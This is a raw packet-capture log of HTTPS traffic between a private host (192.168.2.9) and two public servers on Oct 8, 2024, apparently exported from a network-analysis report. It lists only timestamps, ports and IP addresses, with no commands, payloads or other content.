Oct 8, 2024 20:52:10.290276051 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.290313959 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.330313921 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.330341101 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.330400944 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.330435991 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.330450058 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.330487013 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.330862999 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.330878019 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.330936909 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.330945015 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.330993891 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.331501007 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.331516981 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.331572056 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.331581116 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.331624985 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.332052946 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.332067966 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.332115889 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.332122087 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.332148075 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.332171917 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.332530022 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.332544088 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.332597971 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.332603931 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.332631111 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.332650900 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.332997084 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.333013058 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.333081007 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.333091021 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.333133936 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.333518982 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.333533049 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.333592892 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.333600998 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.333636999 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.340558052 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.340719938 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.341136932 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.341160059 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.341471910 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.341487885 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.341618061 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.341624022 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.341944933 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.341949940 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.344331026 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.344666958 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.344690084 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.345015049 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.345022917 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.357870102 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.358306885 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.358331919 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.358676910 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.358684063 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.377445936 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.377527952 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.377599001 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.377624989 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.377638102 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.377675056 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431071043 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431133032 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431216955 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431240082 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431267977 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431277990 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431307077 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431353092 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431411028 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431416988 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431428909 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431467056 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431513071 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431561947 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431585073 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431605101 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431629896 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431647062 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431771994 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431813002 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431843042 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431850910 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.431871891 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.431888103 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.432085991 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.432126999 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.432153940 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.432161093 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.432185888 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.432207108 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.432267904 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.432316065 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.432337999 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.432343960 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.432365894 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.432383060 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.432794094 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.432843924 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.432873011 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.432883024 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.432909966 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.432918072 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.442318916 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.442390919 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.442455053 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.442702055 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.442723989 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.442739010 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.442744970 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.443958044 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.444029093 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.444071054 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.444179058 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.444188118 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.444199085 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.444205046 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.445979118 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.446018934 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.446086884 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.446183920 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.446193933 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.446244955 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.446270943 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.446283102 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.446377039 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.446384907 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.460169077 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.460249901 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.460326910 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.460352898 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.460367918 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.460378885 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.460385084 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.462338924 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.462369919 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.462445974 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.462593079 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.462608099 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.464004040 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.464076042 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.464138031 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.464227915 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.464241028 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.464251995 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.464257002 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.466232061 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.466260910 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.466334105 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.466466904 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.466474056 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.487268925 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.487333059 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.487433910 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.487458944 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.487488985 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.487507105 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.503808975 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.503868103 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.504092932 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.504092932 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.504116058 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.504168987 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.504220963 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.504261971 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.504293919 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.504300117 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.504334927 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.504359961 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.505003929 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.505042076 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.505079031 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.505083084 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.505108118 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.505125999 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.505153894 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.505191088 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.505217075 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.505255938 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.505259991 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.505302906 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.505449057 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.505486012 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.505527973 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.505532026 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.505578995 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.505578995 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.506000042 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.506040096 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.506084919 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.506089926 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.506103992 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.506148100 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.506269932 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.506313086 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.506340981 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.506345987 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.506376028 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.506386042 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.573978901 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.573997021 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.574065924 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.574106932 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.574151039 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.590603113 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.590650082 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.590707064 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.590739012 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.590763092 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.590786934 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.590806961 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.590850115 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.590872049 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.590879917 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.590908051 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.590929985 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.591254950 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.591295958 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.591330051 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.591335058 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.591353893 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.591378927 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.591634035 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.591675043 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.591718912 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.591726065 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.591752052 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.591774940 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.592042923 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.592091084 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.592135906 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.592142105 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.592165947 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.592186928 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.592458010 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.592499971 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.592529058 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.592533112 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.592559099 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.592571974 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.592710972 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.592752934 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.592778921 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.592782974 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.592814922 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.592823982 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.661262989 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.661336899 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.661431074 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.661453009 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.661475897 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.661499977 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.677594900 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.677644968 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.677685976 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.677706957 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.677720070 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.677750111 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.677957058 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.677999973 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.678023100 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.678030968 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.678056955 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.678071976 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.678128004 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.678174973 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.678205967 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.678211927 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.678236008 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.678251028 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.678539038 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.678585052 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.678612947 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.678621054 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.678647995 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.678669930 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.678996086 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.679038048 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.679073095 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.679078102 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.679114103 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.679126024 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.679280043 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.679325104 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.679351091 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.679356098 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.679382086 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.679406881 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.679611921 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.679665089 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.679696083 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.679701090 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.679714918 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.679734945 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.747980118 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.748047113 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.748251915 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.748251915 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.748292923 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.748354912 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.766469002 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.766527891 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.766623020 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.766652107 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.766704082 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.767329931 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.767369986 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.767405987 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.767414093 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.767441034 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.767460108 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.767483950 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.767525911 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.767549992 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.767555952 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.767585039 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.767595053 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.768800020 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.768846989 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.768882036 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.768887997 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.768915892 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.768937111 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.769340038 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.769381046 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.769412041 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.769416094 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.769442081 CEST	49758	443	192.168.2.9	188.114.96.3
